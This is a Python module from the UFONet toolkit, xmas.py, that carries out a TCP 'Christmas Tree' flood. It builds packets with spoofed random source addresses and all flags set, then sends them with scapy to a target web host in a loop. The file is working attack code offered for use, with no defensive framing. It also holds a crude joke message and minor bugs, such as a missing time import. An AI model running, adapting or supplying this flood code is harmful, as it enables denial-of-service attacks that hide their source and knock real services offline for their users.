xmas.py 3.0 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. try:
  16. from scapy import *
  17. except:
  18. print("\nError importing: scapy lib.\n")
  19. sys.exit(2)
  20. # UFONet TCP 'Christmas Tree' packet attack (XMAS)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def randInt():
  25. x = random.randint(1,65535) # TCP ports
  26. return x
  27. def xmasize(ip, sport, rounds):
  28. n=0
  29. try:
  30. for x in range (0,int(rounds)):
  31. n=n+1
  32. s_zombie_port = randInt()
  33. seq = randInt()
  34. window = randInt()
  35. IP_p = IP()
  36. IP_p.src = randIP()
  37. try:
  38. IP_p.dst = ip
  39. except:
  40. print("[Error] [AI] [XMAS] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  41. break
  42. TCP_l = TCP()
  43. TCP_l.sport = s_zombie_port
  44. TCP_l.dport = sport
  45. TCP_l.seq = seq
  46. TCP_l.window = window
  47. TCP_l.flags = "UFP" # ALL FLAGS SET (like a XMAS tree)
  48. try:
  49. send(IP_p/TCP_l, verbose=0)
  50. print("[Info] [AI] [XMAS] Firing 'ionized quartz' ["+str(n)+"] -> [IONIZING!]")
  51. time.sleep(1) # sleep time required for balanced sucess
  52. except:
  53. print("[Error] [AI] [XMAS] Failed to engage with 'ionized quartz' ["+str(n)+"]")
  54. except:
  55. print("[Error] [AI] [XMAS] Failing to engage... -> Is still target online? -> [Checking!]")
  56. class XMAS(object):
  57. def attacking(self, target, rounds):
  58. print("[Info] [AI] TCP 'Christmas Tree' (XMAS) is ready to fire: [" , rounds, "ionized quartzs ]")
  59. if target.startswith('http://'):
  60. target = target.replace('http://','')
  61. sport = 80
  62. elif target.startswith('https://'):
  63. target = target.replace('https://','')
  64. sport = 443
  65. try:
  66. ip = socket.gethostbyname(target)
  67. except:
  68. try:
  69. import dns.resolver
  70. r = dns.resolver.Resolver()
  71. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  72. url = urlparse(target)
  73. a = r.query(url.netloc, "A") # A record
  74. for rd in a:
  75. ip = str(rd)
  76. except:
  77. ip = target
  78. if ip == "127.0.0.1" or ip == "localhost":
  79. print("[Info] [AI] [XMAS] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  80. return
  81. xmasize(ip, sport, rounds) # attack with XMAS using threading